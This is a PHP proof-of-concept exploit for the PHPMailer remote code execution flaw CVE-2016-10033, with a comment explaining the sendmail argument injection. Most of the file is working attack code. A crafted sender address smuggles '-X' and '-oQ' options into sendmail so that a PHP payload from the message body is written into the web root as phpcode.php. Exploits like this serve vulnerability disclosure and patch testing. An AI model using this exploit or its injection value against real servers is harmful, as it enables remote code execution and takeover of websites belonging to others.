75 lines
No EOL
1.7 KiB
PHP
75 lines
No EOL
1.7 KiB
PHP
<?php
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/*
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PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)
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Discovered/Coded by:
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Dawid Golunski (@dawid_golunski)
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https://legalhackers.com
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Full Advisory URL:
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https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
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A simple PoC (working on Sendmail MTA)
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It will inject the following parameters to sendmail command:
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Arg no. 0 == [/usr/sbin/sendmail]
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Arg no. 1 == [-t]
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Arg no. 2 == [-i]
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Arg no. 3 == [-fattacker\]
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Arg no. 4 == [-oQ/tmp/]
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Arg no. 5 == [-X/var/www/cache/phpcode.php]
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Arg no. 6 == [some"@email.com]
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which will write the transfer log (-X) into /var/www/cache/phpcode.php file.
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The resulting file will contain the payload passed in the body of the msg:
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09607 <<< --b1_cb4566aa51be9f090d9419163e492306
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09607 <<< Content-Type: text/html; charset=us-ascii
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09607 <<<
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09607 <<< <?php phpinfo(); ?>
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09607 <<<
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09607 <<<
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09607 <<<
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09607 <<< --b1_cb4566aa51be9f090d9419163e492306--
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See the full advisory URL for details.
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*/
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// Attacker's input coming from untrusted source such as $_GET , $_POST etc.
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// For example from a Contact form
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$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php some"@email.com';
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$msg_body = "<?php phpinfo(); ?>";
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// ------------------
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// mail() param injection via the vulnerability in PHPMailer
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require_once('class.phpmailer.php');
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$mail = new PHPMailer(); // defaults to using php "mail()"
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$mail->SetFrom($email_from, 'Client Name');
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$address = "customer_feedback@company-X.com";
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$mail->AddAddress($address, "Some User");
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$mail->Subject = "PHPMailer PoC Exploit CVE-2016-10033";
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$mail->MsgHTML($msg_body);
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if(!$mail->Send()) {
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echo "Mailer Error: " . $mail->ErrorInfo;
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} else {
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echo "Message sent!\n";
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}
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?>
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